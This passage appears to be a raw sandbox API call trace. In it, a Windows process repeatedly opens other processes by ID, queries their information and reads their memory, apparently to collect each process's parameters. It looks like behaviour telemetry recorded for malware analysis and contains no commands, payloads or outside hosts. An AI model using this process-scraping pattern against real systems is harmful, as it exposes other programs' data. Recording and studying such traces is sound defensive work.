0x0 [0221.780] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x6c4020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.780] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x9b12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0221.780] malloc (_Size=0x9c) returned 0x196ef0fa790 [0221.780] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0fa790, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa790*, lpNumberOfBytesRead=0x0) returned 1 [0221.781] free (_Block=0x196ef0fa790) [0221.781] CloseHandle (hObject=0x460) returned 1 [0221.782] _ui64tow_s (in: _Value=0xc10, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0221.878] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3088") returned 4 [0221.879] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.880] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x460 [0221.901] GetLastError () returned 0x0 [0221.902] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0221.902] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x247018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0221.902] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0221.902] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5f1c20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0221.903] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5f18c8, lpBuffer=0x670ffc3f0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0221.904] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0221.906] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0221.906] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x247020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.906] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5f12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0221.907] malloc (_Size=0x38) returned 0x196ef0d12d0 [0221.907] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d12d0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d12d0*, lpNumberOfBytesRead=0x0) returned 1 [0221.907] free (_Block=0x196ef0d12d0) [0221.908] CloseHandle (hObject=0x460) returned 1 [0221.909] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0222.010] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3132") returned 4 [0222.011] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.011] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.028] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x460 [0222.028] GetLastError () returned 0x0 [0222.028] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.028] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x724018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.029] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.029] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x911d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.029] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x9118c8, lpBuffer=0x670ffc3f0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.030] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.032] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.032] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x724020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.032] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x9112b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.032] malloc (_Size=0x88) returned 0x196ef0d4f50 [0222.032] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x91194a, lpBuffer=0x196ef0d4f50, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0222.033] free (_Block=0x196ef0d4f50) [0222.034] CloseHandle (hObject=0x460) returned 1 [0222.034] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0222.039] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3180") returned 4 [0222.040] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.040] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.151] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x460 [0222.151] GetLastError () returned 0x0 [0222.151] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.151] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4c2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.151] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.152] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x711d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.152] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7118c8, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.153] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.155] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.155] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4c2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.155] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7112b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.155] malloc (_Size=0x9c) returned 0x196ef0fa420 [0222.155] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x71195e, lpBuffer=0x196ef0fa420, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa420*, lpNumberOfBytesRead=0x0) returned 1 [0222.156] free (_Block=0x196ef0fa420) [0222.156] CloseHandle (hObject=0x460) returned 1 [0222.157] _ui64tow_s (in: _Value=0xc88, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3208") returned 0x0 [0222.161] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3208") returned 4 [0222.163] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.163] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc88) returned 0x460 [0222.179] GetLastError () returned 0x0 [0222.180] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.180] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x14ee12a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.180] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.180] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1f644003670, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.180] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1f6440032b4, lpBuffer=0x670ffc3f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.182] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.183] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.183] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x14ee12a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.183] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1f644002c20, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.183] malloc (_Size=0xda) returned 0x196ef0d67b0 [0222.183] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1f64400330a, lpBuffer=0x196ef0d67b0, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.184] free (_Block=0x196ef0d67b0) [0222.185] CloseHandle (hObject=0x460) returned 1 [0222.185] _ui64tow_s (in: _Value=0xca0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0222.190] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3232") returned 4 [0222.191] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.191] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.301] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x460 [0222.301] GetLastError () returned 0x0 [0222.302] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.302] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x668018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.302] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.302] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1a1c50, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.302] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1a18c8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.303] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.305] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.305] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x668020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.305] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1a12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.305] malloc (_Size=0x48) returned 0x196ef0fbe50 [0222.305] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0fbe50, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbe50*, lpNumberOfBytesRead=0x0) returned 1 [0222.306] free (_Block=0x196ef0fbe50) [0222.307] CloseHandle (hObject=0x460) returned 1 [0222.307] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0222.312] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4288") returned 4 [0222.313] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.313] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.444] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x460 [0222.444] GetLastError () returned 0x0 [0222.444] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.445] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x24e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.445] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.445] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x431c70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.445] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x431948, lpBuffer=0x670ffc3f0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.446] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.447] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.447] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x24e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.448] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x431330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.448] malloc (_Size=0x3e) returned 0x196ef0fbe50 [0222.448] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x43197e, lpBuffer=0x196ef0fbe50, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbe50*, lpNumberOfBytesRead=0x0) returned 1 [0222.448] free (_Block=0x196ef0fbe50) [0222.449] CloseHandle (hObject=0x460) returned 1 [0222.450] _ui64tow_s (in: _Value=0xab4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0222.454] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2740") returned 4 [0222.455] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.455] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.470] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x460 [0222.471] GetLastError () returned 0x0 [0222.471] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.471] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x385018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.471] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.471] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x401c90, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.472] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4018c8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.473] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.564] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.564] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x385020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.565] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4012b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.565] malloc (_Size=0x64) returned 0x196ef0d0450 [0222.565] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0222.565] free (_Block=0x196ef0d0450) [0222.566] CloseHandle (hObject=0x460) returned 1 [0222.566] _ui64tow_s (in: _Value=0x136c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0222.571] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4972") returned 4 [0222.572] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.572] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.588] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x460 [0222.588] GetLastError () returned 0x0 [0222.589] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.589] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x49d0568018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.589] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.589] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.589] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.590] 